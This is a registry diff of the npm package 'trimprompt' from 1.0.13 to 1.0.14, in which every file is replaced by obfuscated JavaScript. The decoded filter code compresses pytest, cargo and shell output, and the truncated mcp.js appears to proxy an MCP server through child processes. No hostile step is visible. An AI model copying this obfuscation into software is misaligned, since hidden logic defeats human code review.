trimprompt 1.0.13 → 1.0.14
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/cache.js +1 -1
- package/cli.js +1 -1
- package/dashboard.js +1 -1
- package/executor.js +1 -1
- package/filters/devops.js +1 -1
- package/filters/generic.js +1 -1
- package/filters/git.js +1 -1
- package/filters/go.js +1 -1
- package/filters/index.js +1 -1
- package/filters/js.js +1 -1
- package/filters/python.js +1 -1
- package/filters/rust.js +1 -1
- package/filters/shell.js +1 -1
- package/mcp.js +1 -1
- package/package.json +1 -1
- package/redactor.js +1 -1
- package/seed.js +1 -1
- package/shims.js +1 -1
- package/simulate.js +1 -1
- package/sync.js +1 -1
- package/tracker.js +1 -1
package/filters/python.js
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
'use strict';const
|
|
1
|
+
'use strict';function a0_0x5752(){const _0x3a75a2=['\x20failed','180pFVraK','failed','Successfully\x20installed','__esModule','\x20\x20...\x20+','length','filterPytest','2rdJwPF','112460AhqgXw','===\x20ERRORS\x20===','Downloading','\x20skipped','push','.\x20[FAIL]\x20','startsWith','includes','\x20\x20\x20\x20...\x20(','\x20\x20\x20\x20','\x0aFailures:','52856ycjBnp','split','filter','49370AlbMpN','join','\x20lines\x20of\x20stacktrace\x20truncated)','\x20passed','slice','filterPipInstall','AssertionError:','4121590PnaUFc','match','Collecting','Pytest:\x20All\x20tests\x20passed','===\x20FAILURES\x20===','Pytest:\x20','\x20xfailed','\x20xpassed\x20(warning!)','trim','___','defineProperty','15plWaiA','9037vFgJra','5998984PtXkvD','passed','\x20more\x20failures\x20truncated','Using\x20cached','replace','===','2364FjtSNp','Requirement\x20already\x20satisfied','E\x20\x20\x20','17927371pmylQg'];a0_0x5752=function(){return _0x3a75a2;};return a0_0x5752();}const a0_0x54d8b7=a0_0x4ea0;function a0_0x4ea0(_0x2a78b0,_0x5246ca){_0x2a78b0=_0x2a78b0-0x183;const _0x5752a0=a0_0x5752();let _0x4ea0fc=_0x5752a0[_0x2a78b0];return _0x4ea0fc;}(function(_0xd947e7,_0x6f1331){const _0x263558=a0_0x4ea0,_0x183717=_0xd947e7();while(!![]){try{const _0x3b4496=parseInt(_0x263558(0x192))/0x1*(-parseInt(_0x263558(0x1a1))/0x2)+-parseInt(_0x263558(0x1b3))/0x3*(parseInt(_0x263558(0x19e))/0x4)+parseInt(_0x263558(0x1a8))/0x5+parseInt(_0x263558(0x186))/0x6*(parseInt(_0x263558(0x1b4))/0x7)+parseInt(_0x263558(0x1b5))/0x8+-parseInt(_0x263558(0x18b))/0x9*(-parseInt(_0x263558(0x193))/0xa)+-parseInt(_0x263558(0x189))/0xb;if(_0x3b4496===_0x6f1331)break;else _0x183717['push'](_0x183717['shift']());}catch(_0x156061){_0x183717['push'](_0x183717['shift']());}}}(a0_0x5752,0x89584));Object[a0_0x54d8b7(0x1b2)](exports,a0_0x54d8b7(0x18e),{'value':!![]}),exports[a0_0x54d8b7(0x191)]=filterPytest,exports[a0_0x54d8b7(0x1a6)]=filterPipInstall;function filterPytest(_0x3956ac){const _0x36ea11=a0_0x54d8b7,_0x3a7177=_0x3956ac[_0x36ea11(0x19f)]('\x0a');let _0x4443c9=0x0,_0x3939f2=0x0,_0x31b408=0x0,_0x2ca980=0x0,_0x3c0486=0x0;const _0x15737f=[];let _0x24866b=[],_0x49ff12=![];for(const _0x21f48c of _0x3a7177){const _0xb7862c=_0x21f48c[_0x36ea11(0x1b0)]();if(_0xb7862c[_0x36ea11(0x199)](_0x36ea11(0x1ac))||_0xb7862c['startsWith'](_0x36ea11(0x194))){_0x49ff12=!![];continue;}else(_0xb7862c[_0x36ea11(0x199)]('===\x20short\x20test\x20summary\x20info\x20===')||_0xb7862c[_0x36ea11(0x199)](_0x36ea11(0x185))&&_0xb7862c[_0x36ea11(0x19a)]('passed'))&&(_0x49ff12=![],_0x24866b[_0x36ea11(0x190)]>0x0&&(_0x15737f['push'](_0x24866b),_0x24866b=[]));if(_0x49ff12){if(_0xb7862c[_0x36ea11(0x199)](_0x36ea11(0x1b1)))_0x24866b[_0x36ea11(0x190)]>0x0&&(_0x15737f[_0x36ea11(0x197)](_0x24866b),_0x24866b=[]),_0x24866b['push'](_0xb7862c);else _0xb7862c['length']>0x0&&_0x24866b['push'](_0x21f48c);continue;}if(_0xb7862c[_0x36ea11(0x199)](_0x36ea11(0x185))&&_0xb7862c[_0x36ea11(0x19a)]('\x20in\x20')){const _0x3a30b2=_0xb7862c[_0x36ea11(0x1a9)](/(\d+)\s+passed/),_0x1c0b61=_0xb7862c[_0x36ea11(0x1a9)](/(\d+)\s+failed/),_0x285b60=_0xb7862c[_0x36ea11(0x1a9)](/(\d+)\s+skipped/),_0x2d3089=_0xb7862c[_0x36ea11(0x1a9)](/(\d+)\s+xfailed/),_0x552463=_0xb7862c[_0x36ea11(0x1a9)](/(\d+)\s+xpassed/);if(_0x3a30b2)_0x4443c9=parseInt(_0x3a30b2[0x1]);if(_0x1c0b61)_0x3939f2=parseInt(_0x1c0b61[0x1]);if(_0x285b60)_0x31b408=parseInt(_0x285b60[0x1]);if(_0x2d3089)_0x2ca980=parseInt(_0x2d3089[0x1]);if(_0x552463)_0x3c0486=parseInt(_0x552463[0x1]);}}_0x24866b[_0x36ea11(0x190)]>0x0&&_0x15737f[_0x36ea11(0x197)](_0x24866b);if(_0x4443c9===0x0&&_0x3939f2===0x0&&_0x31b408===0x0&&_0x2ca980===0x0&&_0x3c0486===0x0){if(_0x3956ac['includes'](_0x36ea11(0x1b6))&&!_0x3956ac[_0x36ea11(0x19a)](_0x36ea11(0x18c)))return _0x36ea11(0x1ab);return _0x3956ac;}if(_0x3939f2===0x0&&_0x4443c9>0x0&&_0x31b408===0x0&&_0x2ca980===0x0&&_0x3c0486===0x0)return _0x36ea11(0x1ad)+_0x4443c9+_0x36ea11(0x1a4);const _0x42500d=[];_0x42500d[_0x36ea11(0x197)](_0x36ea11(0x1ad)+_0x4443c9+'\x20passed');if(_0x3939f2>0x0)_0x42500d[_0x36ea11(0x197)](_0x3939f2+_0x36ea11(0x18a));if(_0x31b408>0x0)_0x42500d[_0x36ea11(0x197)](_0x31b408+_0x36ea11(0x196));if(_0x2ca980>0x0)_0x42500d[_0x36ea11(0x197)](_0x2ca980+_0x36ea11(0x1ae));if(_0x3c0486>0x0)_0x42500d['push'](_0x3c0486+_0x36ea11(0x1af));const _0x2cb8f5=[_0x42500d['join'](',\x20')];if(_0x15737f[_0x36ea11(0x190)]>0x0){_0x2cb8f5[_0x36ea11(0x197)](_0x36ea11(0x19d));const _0x129dc=0x3,_0x1848a3=_0x15737f[_0x36ea11(0x1a5)](0x0,_0x129dc);for(let _0x2b048c=0x0;_0x2b048c<_0x1848a3[_0x36ea11(0x190)];_0x2b048c++){const _0x298e1f=_0x1848a3[_0x2b048c],_0x5d5dc2=_0x298e1f[0x0][_0x36ea11(0x184)](/_/g,'')[_0x36ea11(0x1b0)]();_0x2cb8f5['push']('\x20\x20'+(_0x2b048c+0x1)+_0x36ea11(0x198)+_0x5d5dc2);const _0x1b05f6=_0x298e1f['slice'](0x1),_0x271f4c=_0x1b05f6[_0x36ea11(0x1a0)](_0x271482=>{const _0x5ae7f7=_0x36ea11,_0x3f8289=_0x271482[_0x5ae7f7(0x1b0)]();return _0x3f8289['startsWith']('>')||_0x3f8289[_0x5ae7f7(0x199)](_0x5ae7f7(0x188))||_0x3f8289[_0x5ae7f7(0x19a)]('.py:')||_0x3f8289['includes'](_0x5ae7f7(0x1a7));});for(const _0x3fc2ad of _0x271f4c['slice'](0x0,0x8)){_0x2cb8f5[_0x36ea11(0x197)](_0x36ea11(0x19c)+_0x3fc2ad);}_0x271f4c[_0x36ea11(0x190)]>0x8&&_0x2cb8f5[_0x36ea11(0x197)](_0x36ea11(0x19b)+(_0x271f4c[_0x36ea11(0x190)]-0x8)+_0x36ea11(0x1a3));}_0x15737f['length']>_0x129dc&&_0x2cb8f5[_0x36ea11(0x197)](_0x36ea11(0x18f)+(_0x15737f[_0x36ea11(0x190)]-_0x129dc)+_0x36ea11(0x1b7));}return _0x2cb8f5['join']('\x0a');}function filterPipInstall(_0x36fd38){const _0x15258b=a0_0x54d8b7,_0x1e1cd6=_0x36fd38[_0x15258b(0x19f)]('\x0a'),_0x1bb0a5=[];for(const _0x42c626 of _0x1e1cd6){const _0x4f775d=_0x42c626[_0x15258b(0x1b0)]();_0x4f775d[_0x15258b(0x199)](_0x15258b(0x18d))&&_0x1bb0a5[_0x15258b(0x197)](_0x4f775d);}if(_0x1bb0a5['length']>0x0)return _0x1bb0a5[_0x15258b(0x1a2)]('\x0a');return _0x1e1cd6['filter'](_0x23549c=>{const _0xb9ac41=_0x15258b,_0x381d2d=_0x23549c[_0xb9ac41(0x1b0)]();return!_0x381d2d[_0xb9ac41(0x199)](_0xb9ac41(0x1aa))&&!_0x381d2d['startsWith'](_0xb9ac41(0x195))&&!_0x381d2d[_0xb9ac41(0x19a)](_0xb9ac41(0x183))&&!_0x381d2d[_0xb9ac41(0x199)](_0xb9ac41(0x187));})['join']('\x0a')['trim']();}
|
package/filters/rust.js
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
'use strict';const
|
|
1
|
+
'use strict';const a0_0x119697=a0_0x2f41;(function(_0x45a528,_0x5cef95){const _0x414294=a0_0x2f41,_0x5e3bd3=_0x45a528();while(!![]){try{const _0x524f60=parseInt(_0x414294(0x16d))/0x1*(parseInt(_0x414294(0x165))/0x2)+-parseInt(_0x414294(0x170))/0x3*(-parseInt(_0x414294(0x147))/0x4)+-parseInt(_0x414294(0x15a))/0x5*(parseInt(_0x414294(0x144))/0x6)+parseInt(_0x414294(0x161))/0x7+-parseInt(_0x414294(0x145))/0x8+-parseInt(_0x414294(0x15e))/0x9*(-parseInt(_0x414294(0x14d))/0xa)+-parseInt(_0x414294(0x166))/0xb;if(_0x524f60===_0x5cef95)break;else _0x5e3bd3['push'](_0x5e3bd3['shift']());}catch(_0x566b19){_0x5e3bd3['push'](_0x5e3bd3['shift']());}}}(a0_0x2cfe,0x688fd));Object[a0_0x119697(0x16b)](exports,'__esModule',{'value':!![]}),exports[a0_0x119697(0x16a)]=filterCargoTest,exports['filterCargoBuild']=filterCargoBuild;function filterCargoTest(_0x37d202){const _0x16c217=a0_0x119697,_0x28effc=_0x37d202[_0x16c217(0x150)]('\x0a');let _0x115e5d=0x0,_0x106ead=0x0,_0x4bf1f0=0x0,_0x1af319=0x0;const _0x27b366=[];let _0x3a0dda=![],_0x187a18=[];for(const _0x31f605 of _0x28effc){const _0x1b1281=_0x31f605[_0x16c217(0x159)](),_0x5939cd=_0x1b1281['match'](/test result:\s*(\w+)\.\s*(\d+)\s+passed;\s*(\d+)\s+failed;\s*(\d+)\s+ignored;\s*(\d+)\s+measured/);if(_0x5939cd){_0x115e5d+=parseInt(_0x5939cd[0x2]),_0x106ead+=parseInt(_0x5939cd[0x3]),_0x4bf1f0+=parseInt(_0x5939cd[0x4]),_0x1af319+=parseInt(_0x5939cd[0x5]);continue;}if(_0x1b1281===_0x16c217(0x148)||_0x1b1281==='----\x20failures\x20----'){_0x3a0dda=!![];continue;}if(_0x3a0dda){if(_0x1b1281[_0x16c217(0x156)](_0x16c217(0x142))&&_0x1b1281[_0x16c217(0x167)](_0x16c217(0x168))){if(_0x187a18['length']>0x0)_0x27b366[_0x16c217(0x152)](_0x187a18[_0x16c217(0x169)]('\x0a'));_0x187a18=[_0x1b1281[_0x16c217(0x146)](/^-+\s*/,'')['replace'](/\s*-+$/,'')];}else{if(_0x1b1281==='failures:'||_0x1b1281[_0x16c217(0x156)](_0x16c217(0x16e))){if(_0x187a18[_0x16c217(0x149)]>0x0)_0x27b366[_0x16c217(0x152)](_0x187a18[_0x16c217(0x169)]('\x0a'));_0x187a18=[],_0x3a0dda=![];}else _0x1b1281['length']>0x0&&_0x187a18['push'](_0x31f605);}}}if(_0x187a18[_0x16c217(0x149)]>0x0)_0x27b366['push'](_0x187a18[_0x16c217(0x169)]('\x0a'));if(_0x115e5d===0x0&&_0x106ead===0x0&&_0x4bf1f0===0x0){if(_0x37d202['includes'](_0x16c217(0x15f)))return'Cargo\x20test:\x20all\x20tests\x20passed';return _0x37d202;}if(_0x106ead===0x0){const _0x1acb77=['Cargo\x20test:\x20'+_0x115e5d+_0x16c217(0x15d)];if(_0x4bf1f0>0x0)_0x1acb77['push'](_0x4bf1f0+_0x16c217(0x141));return _0x1acb77['join'](',\x20');}const _0x2c65e4=['Cargo\x20test:\x20'+_0x115e5d+'\x20passed,\x20'+_0x106ead+'\x20failed,\x20'+_0x4bf1f0+_0x16c217(0x141)];if(_0x27b366['length']>0x0){_0x2c65e4['push'](_0x16c217(0x143));const _0x3bab8a=0x3;for(let _0x1685f8=0x0;_0x1685f8<Math[_0x16c217(0x154)](_0x27b366[_0x16c217(0x149)],_0x3bab8a);_0x1685f8++){const _0x1851d6=_0x27b366[_0x1685f8][_0x16c217(0x150)]('\x0a');_0x2c65e4[_0x16c217(0x152)]('\x20\x20'+(_0x1685f8+0x1)+'.\x20'+_0x1851d6[0x0]);const _0x176410=_0x1851d6[_0x16c217(0x14a)](0x1),_0x48b9f3=_0x176410[_0x16c217(0x15b)](_0x1e89a9=>_0x1e89a9[_0x16c217(0x159)]()[_0x16c217(0x156)](_0x16c217(0x14b))||_0x1e89a9[_0x16c217(0x153)]('panicked')||_0x1e89a9['includes'](_0x16c217(0x14c))||_0x1e89a9[_0x16c217(0x153)](_0x16c217(0x151))||_0x1e89a9[_0x16c217(0x153)]('right:'));for(const _0x41fc89 of _0x48b9f3[_0x16c217(0x14a)](0x0,0x5)){_0x2c65e4[_0x16c217(0x152)](_0x16c217(0x15c)+_0x41fc89[_0x16c217(0x159)]());}}_0x27b366[_0x16c217(0x149)]>_0x3bab8a&&_0x2c65e4[_0x16c217(0x152)]('\x20\x20...\x20+'+(_0x27b366[_0x16c217(0x149)]-_0x3bab8a)+_0x16c217(0x162));}return _0x2c65e4['join']('\x0a');}function a0_0x2f41(_0x11725c,_0x2f4df5){_0x11725c=_0x11725c-0x141;const _0x2cfefc=a0_0x2cfe();let _0x2f41dd=_0x2cfefc[_0x11725c];return _0x2f41dd;}function filterCargoBuild(_0xc2a8ba){const _0x37e147=a0_0x119697,_0x38ae95=_0xc2a8ba[_0x37e147(0x150)]('\x0a'),_0x4f98c7=[],_0x1d0ad4=[];let _0x35eaa6=0x0;for(const _0x161209 of _0x38ae95){const _0x4f318d=_0x161209[_0x37e147(0x159)]();if(_0x4f318d[_0x37e147(0x156)]('Compiling\x20'))_0x35eaa6++;else{if(_0x4f318d[_0x37e147(0x156)](_0x37e147(0x158))||_0x4f318d[_0x37e147(0x156)](_0x37e147(0x155)))_0x4f98c7[_0x37e147(0x152)](_0x4f318d);else{if(_0x4f318d[_0x37e147(0x156)]('error[')||_0x4f318d[_0x37e147(0x156)]('error:'))_0x1d0ad4['push'](_0x4f318d);}}}if(_0x1d0ad4[_0x37e147(0x149)]===0x0&&_0x4f98c7[_0x37e147(0x149)]===0x0)return _0x35eaa6>0x0?_0x37e147(0x16f)+_0x35eaa6+'\x20crates\x20successfully':_0xc2a8ba[_0x37e147(0x159)]();const _0xa0bebb=[];if(_0x1d0ad4[_0x37e147(0x149)]>0x0){_0xa0bebb['push'](_0x37e147(0x14f)+_0x1d0ad4['length']+_0x37e147(0x14e)+_0x4f98c7[_0x37e147(0x149)]+'\x20warnings'),_0xa0bebb[_0x37e147(0x152)]('\x0aErrors:');for(const _0x2b6c60 of _0x1d0ad4[_0x37e147(0x14a)](0x0,0x5))_0xa0bebb['push']('\x20\x20'+_0x2b6c60);if(_0x1d0ad4[_0x37e147(0x149)]>0x5)_0xa0bebb['push'](_0x37e147(0x163)+(_0x1d0ad4[_0x37e147(0x149)]-0x5)+'\x20more\x20errors');}else _0xa0bebb[_0x37e147(0x152)](_0x37e147(0x16f)+_0x35eaa6+_0x37e147(0x157)+_0x4f98c7[_0x37e147(0x149)]+_0x37e147(0x164));if(_0x4f98c7[_0x37e147(0x149)]>0x0&&_0x4f98c7[_0x37e147(0x149)]<=0x5){_0xa0bebb[_0x37e147(0x152)](_0x37e147(0x160));for(const _0x3172c2 of _0x4f98c7)_0xa0bebb[_0x37e147(0x152)]('\x20\x20'+_0x3172c2);}else _0x4f98c7[_0x37e147(0x149)]>0x5&&_0xa0bebb[_0x37e147(0x152)]('\x0a('+_0x4f98c7[_0x37e147(0x149)]+_0x37e147(0x16c));return _0xa0bebb[_0x37e147(0x169)]('\x0a');}function a0_0x2cfe(){const _0x4cfea8=['\x0aWarnings:','5817728pokGNl','\x20more\x20failures','\x20\x20...\x20+','\x20warnings','22042mEDwyZ','12804583LjnniE','endsWith','\x20----','join','filterCargoTest','defineProperty','\x20warnings\x20—\x20run\x20cargo\x20clippy\x20for\x20details)','51tmZaJn','test\x20result:','Cargo:\x20compiled\x20','1858971sFaIEv','\x20ignored','----\x20','\x0aFailures:','6nbHWCs','5366488RwsrTS','replace','4AQybtR','failures:','length','slice','thread','assert','20FoDjWJ','\x20errors,\x20','Cargo:\x20','split','left:','push','includes','min','warning:','startsWith','\x20crates,\x20','warning[','trim','135995ofNOow','filter','\x20\x20\x20\x20','\x20passed','1248822zoxDwZ','test\x20result:\x20ok'];a0_0x2cfe=function(){return _0x4cfea8;};return a0_0x2cfe();}
|
package/filters/shell.js
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
'use strict';const
|
|
1
|
+
'use strict';const a0_0x10a451=a0_0x593b;(function(_0x1737af,_0x5cdb86){const _0x50c3a4=a0_0x593b,_0x1df01b=_0x1737af();while(!![]){try{const _0x3b3d26=-parseInt(_0x50c3a4(0x156))/0x1+parseInt(_0x50c3a4(0x177))/0x2*(-parseInt(_0x50c3a4(0x158))/0x3)+parseInt(_0x50c3a4(0x159))/0x4+parseInt(_0x50c3a4(0x178))/0x5+-parseInt(_0x50c3a4(0x164))/0x6*(-parseInt(_0x50c3a4(0x171))/0x7)+parseInt(_0x50c3a4(0x15d))/0x8*(-parseInt(_0x50c3a4(0x157))/0x9)+parseInt(_0x50c3a4(0x151))/0xa;if(_0x3b3d26===_0x5cdb86)break;else _0x1df01b['push'](_0x1df01b['shift']());}catch(_0x1a15bf){_0x1df01b['push'](_0x1df01b['shift']());}}}(a0_0x18e4,0xd7ba0));Object[a0_0x10a451(0x155)](exports,a0_0x10a451(0x150),{'value':!![]}),exports['filterLs']=filterLs,exports[a0_0x10a451(0x160)]=filterTree,exports[a0_0x10a451(0x16c)]=filterCat,exports[a0_0x10a451(0x176)]=filterGrep;function a0_0x593b(_0x1d1eb2,_0x40664b){_0x1d1eb2=_0x1d1eb2-0x150;const _0x18e48c=a0_0x18e4();let _0x593b01=_0x18e48c[_0x1d1eb2];return _0x593b01;}function filterLs(_0x12bce6){const _0x2fe64a=a0_0x10a451,_0x491039=_0x12bce6[_0x2fe64a(0x152)]('\x0a')['filter'](_0x2f0f33=>_0x2f0f33['trim']()['length']>0x0);if(_0x491039['length']===0x0)return _0x2fe64a(0x162);if(_0x491039['length']<=0x1e)return _0x12bce6[_0x2fe64a(0x168)]();const _0x1999f4=[],_0x1f6473=[];for(const _0x17e251 of _0x491039){const _0x67e3a6=_0x17e251[_0x2fe64a(0x168)]();if(_0x67e3a6['startsWith'](_0x2fe64a(0x153))||_0x67e3a6['startsWith']('d')&&_0x67e3a6[_0x2fe64a(0x17a)]('..'))continue;_0x67e3a6[_0x2fe64a(0x154)]('/')||_0x67e3a6[_0x2fe64a(0x16a)]('d')&&_0x67e3a6[_0x2fe64a(0x17a)]('\x20')?_0x1999f4['push'](_0x67e3a6):_0x1f6473[_0x2fe64a(0x15a)](_0x67e3a6);}const _0x5a696a=[];return _0x1999f4['length']>0x0&&(_0x1999f4[_0x2fe64a(0x172)]<=0xf?_0x5a696a[_0x2fe64a(0x15a)](..._0x1999f4):(_0x5a696a[_0x2fe64a(0x15a)](..._0x1999f4['slice'](0x0,0xa)),_0x5a696a[_0x2fe64a(0x15a)]('...\x20+'+(_0x1999f4[_0x2fe64a(0x172)]-0xa)+_0x2fe64a(0x17c)))),_0x1f6473['length']>0x0&&(_0x1f6473[_0x2fe64a(0x172)]<=0x14?_0x5a696a[_0x2fe64a(0x15a)](..._0x1f6473):(_0x5a696a[_0x2fe64a(0x15a)](..._0x1f6473[_0x2fe64a(0x170)](0x0,0xf)),_0x5a696a[_0x2fe64a(0x15a)]('...\x20+'+(_0x1f6473[_0x2fe64a(0x172)]-0xf)+_0x2fe64a(0x169)))),_0x5a696a['push']('\x0a('+_0x1999f4['length']+_0x2fe64a(0x16e)+_0x1f6473[_0x2fe64a(0x172)]+_0x2fe64a(0x174)),_0x5a696a[_0x2fe64a(0x175)]('\x0a');}function filterTree(_0x3cf36a){const _0x48e96a=a0_0x10a451,_0x579bad=_0x3cf36a[_0x48e96a(0x152)]('\x0a');if(_0x579bad['length']<=0x32)return _0x3cf36a['trim']();const _0x5edde2=[];let _0x4dbbfa=0x0,_0x4520db=0x0,_0x86f0f4=0x0;for(const _0x4556ed of _0x579bad){const _0x3c2960=_0x4556ed[_0x48e96a(0x179)](/(\d+)\s+director/),_0x764ec4=_0x4556ed[_0x48e96a(0x179)](/(\d+)\s+file/);if(_0x3c2960)_0x86f0f4=parseInt(_0x3c2960[0x1]);if(_0x764ec4)_0x4520db=parseInt(_0x764ec4[0x1]);const _0x56d173=(_0x4556ed[_0x48e96a(0x179)](/^[│├└\s─]+/)||[''])[0x0][_0x48e96a(0x172)];_0x56d173<=0x4&&(_0x5edde2['push'](_0x4556ed),_0x4dbbfa++);}return _0x579bad[_0x48e96a(0x172)]>_0x5edde2[_0x48e96a(0x172)]&&_0x5edde2[_0x48e96a(0x15a)](_0x48e96a(0x15b)+_0x86f0f4+'\x20directories,\x20'+_0x4520db+_0x48e96a(0x166)),_0x5edde2[_0x48e96a(0x175)]('\x0a');}function a0_0x18e4(){const _0x4730ab=['14409QiHXGn','1964874VKjnxn','4686008Bvslxh','push','\x0a...\x20(','substring','8104OMjPSz','\x20more\x20matches','\x0a...\x20[','filterTree','\x20lines\x20truncated]\x20...\x0a','Empty\x20directory','keys','1143642jjNTqQ','indexOf','\x20files\x20total\x20—\x20deep\x20entries\x20truncated)','\x20lines\x20total)','trim','\x20more\x20files','startsWith','...\x20+','filterCat','\x20more\x20files\x20with\x20matches','\x20directories,\x20','\x20matches\x20in\x20this\x20file)','slice','56mTLiYP','length','No\x20matches\x20found','\x20files)','join','filterGrep','4klUyTj','2606670hoMYOE','match','includes','\x20matches\x20across\x20','\x20more\x20directories','filter','__esModule','9694510KmGJmX','split','total\x20','endsWith','defineProperty','371798VHMlJr'];a0_0x18e4=function(){return _0x4730ab;};return a0_0x18e4();}function filterCat(_0x47bb04){const _0x35823a=a0_0x10a451,_0x502652=_0x47bb04[_0x35823a(0x152)]('\x0a');if(_0x502652[_0x35823a(0x172)]<=0x64)return _0x47bb04;const _0x4c89d6=[];return _0x4c89d6[_0x35823a(0x15a)](..._0x502652['slice'](0x0,0x32)),_0x4c89d6[_0x35823a(0x15a)](_0x35823a(0x15f)+(_0x502652[_0x35823a(0x172)]-0x50)+_0x35823a(0x161)),_0x4c89d6['push'](..._0x502652[_0x35823a(0x170)](-0x1e)),_0x4c89d6[_0x35823a(0x15a)]('\x0a('+_0x502652[_0x35823a(0x172)]+_0x35823a(0x167)),_0x4c89d6[_0x35823a(0x175)]('\x0a');}function filterGrep(_0x466ebd){const _0x42dbe7=a0_0x10a451,_0x23abc1=_0x466ebd['split']('\x0a')[_0x42dbe7(0x17d)](_0x47bc03=>_0x47bc03[_0x42dbe7(0x168)]()['length']>0x0);if(_0x23abc1['length']===0x0)return _0x42dbe7(0x173);if(_0x23abc1['length']<=0x32)return _0x466ebd['trim']();const _0x263c21={},_0x3bf0a2=[];for(const _0x2d8a98 of _0x23abc1){const _0x26e60b=_0x2d8a98[_0x42dbe7(0x165)](':');if(_0x26e60b>0x0&&_0x26e60b<0xc8){const _0x2dd8d2=_0x2d8a98['substring'](0x0,_0x26e60b);if(_0x2dd8d2[_0x42dbe7(0x17a)]('/')||_0x2dd8d2['includes']('\x5c')||_0x2dd8d2[_0x42dbe7(0x17a)]('.')){if(!_0x263c21[_0x2dd8d2])_0x263c21[_0x2dd8d2]=[];_0x263c21[_0x2dd8d2][_0x42dbe7(0x15a)](_0x2d8a98[_0x42dbe7(0x15c)](_0x26e60b+0x1)[_0x42dbe7(0x168)]());continue;}}_0x3bf0a2[_0x42dbe7(0x15a)](_0x2d8a98);}const _0x3331cd=[],_0x639a1c=Object[_0x42dbe7(0x163)](_0x263c21);if(_0x639a1c[_0x42dbe7(0x172)]>0x0){const _0x3d84ba=0x14,_0x39a964=_0x639a1c[_0x42dbe7(0x170)](0x0,_0x3d84ba);for(const _0x2d78a8 of _0x39a964){const _0x1bd9e0=_0x263c21[_0x2d78a8];if(_0x1bd9e0[_0x42dbe7(0x172)]<=0x3)for(const _0x5574ba of _0x1bd9e0){_0x3331cd['push'](_0x2d78a8+':\x20'+_0x5574ba);}else _0x3331cd[_0x42dbe7(0x15a)](_0x2d78a8+':\x20'+_0x1bd9e0[0x0]),_0x3331cd[_0x42dbe7(0x15a)](_0x2d78a8+':\x20...\x20('+_0x1bd9e0['length']+_0x42dbe7(0x16f));}_0x639a1c[_0x42dbe7(0x172)]>_0x3d84ba&&_0x3331cd[_0x42dbe7(0x15a)](_0x42dbe7(0x16b)+(_0x639a1c['length']-_0x3d84ba)+_0x42dbe7(0x16d));}if(_0x3bf0a2[_0x42dbe7(0x172)]>0x0){const _0x180d99=0x1e;_0x3331cd[_0x42dbe7(0x15a)](..._0x3bf0a2['slice'](0x0,_0x180d99)),_0x3bf0a2[_0x42dbe7(0x172)]>_0x180d99&&_0x3331cd['push']('...\x20+'+(_0x3bf0a2[_0x42dbe7(0x172)]-_0x180d99)+_0x42dbe7(0x15e));}const _0x22c68f=_0x23abc1[_0x42dbe7(0x172)];return _0x3331cd[_0x42dbe7(0x15a)]('\x0a('+_0x22c68f+_0x42dbe7(0x17b)+(_0x639a1c[_0x42dbe7(0x172)]||'?')+_0x42dbe7(0x174)),_0x3331cd['join']('\x0a');}
|
package/mcp.js
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
'use strict';
|
|
1
|
+
'use strict';function a0_0x5672(_0x5e0c2c,_0x501b97){_0x5e0c2c=_0x5e0c2c-0x138;const _0x57e1c8=a0_0x57e1();let _0x567225=_0x57e1c8[_0x5e0c2c];return _0x567225;}const a0_0x1ca336=a0_0x5672;(function(_0x1702c3,_0xdc4bba){const _0x983e9c=a0_0x5672,_0x3cad48=_0x1702c3();while(!![]){try{const _0x4f1f51=-parseInt(_0x983e9c(0x162))/0x1+parseInt(_0x983e9c(0x15d))/0x2+-parseInt(_0x983e9c(0x14c))/0x3*(-parseInt(_0x983e9c(0x157))/0x4)+-parseInt(_0x983e9c(0x165))/0x5+-parseInt(_0x983e9c(0x145))/0x6+-parseInt(_0x983e9c(0x144))/0x7*(parseInt(_0x983e9c(0x146))/0x8)+parseInt(_0x983e9c(0x15b))/0x9;if(_0x4f1f51===_0xdc4bba)break;else _0x3cad48['push'](_0x3cad48['shift']());}catch(_0x3eb647){_0x3cad48['push'](_0x3cad48['shift']());}}}(a0_0x57e1,0x5935a));function a0_0x57e1(){const _0x5165af=['./filters','19922742usiGDr','mcp-tool-call','109854Gkqxgg','message','__setModuleDefault','logExecution','default','474241wxnhwP','length','isArray','3545565yMpufn','write','redaction_enabled','defineProperty','exit','__createBinding','tracker','call','string','stdout','getOwnPropertyDescriptor','[TrimPrompt]\x20MCP\x20Server\x20Spawn\x20Error:\x20','getConfig','spawn','text','inherit','create','./tracker','readline','7FGRZWs','1280568ZUeksi','5548024HHpGXS','child_process','2.0','jsonrpc','stdin','createInterface','234VIIagi','compressOutput','runMcpProxy','trim','pipe','configurable','__esModule','error','type','result','parse','9596pxuQNr','writable','content'];a0_0x57e1=function(){return _0x5165af;};return a0_0x57e1();}var __createBinding=this&&this[a0_0x1ca336(0x16a)]||(Object[a0_0x1ca336(0x141)]?function(_0x1f3029,_0x591b5d,_0x2cace1,_0x2f73f5){const _0x3d8308=a0_0x1ca336;if(_0x2f73f5===undefined)_0x2f73f5=_0x2cace1;var _0x2d10d4=Object[_0x3d8308(0x13b)](_0x591b5d,_0x2cace1);(!_0x2d10d4||('get'in _0x2d10d4?!_0x591b5d['__esModule']:_0x2d10d4[_0x3d8308(0x158)]||_0x2d10d4[_0x3d8308(0x151)]))&&(_0x2d10d4={'enumerable':!![],'get':function(){return _0x591b5d[_0x2cace1];}}),Object['defineProperty'](_0x1f3029,_0x2f73f5,_0x2d10d4);}:function(_0x446532,_0x469cdf,_0xbe8c69,_0x1a237c){if(_0x1a237c===undefined)_0x1a237c=_0xbe8c69;_0x446532[_0x1a237c]=_0x469cdf[_0xbe8c69];}),__setModuleDefault=this&&this[a0_0x1ca336(0x15f)]||(Object[a0_0x1ca336(0x141)]?function(_0x1ff3e4,_0x23c780){const _0x37be4d=a0_0x1ca336;Object[_0x37be4d(0x168)](_0x1ff3e4,_0x37be4d(0x161),{'enumerable':!![],'value':_0x23c780});}:function(_0x366634,_0x13cc24){_0x366634['default']=_0x13cc24;}),__importStar=this&&this['__importStar']||(function(){var _0x5a1139=function(_0x180925){return _0x5a1139=Object['getOwnPropertyNames']||function(_0x8dd6ab){const _0x43fef2=a0_0x5672;var _0x298eab=[];for(var _0x326b0d in 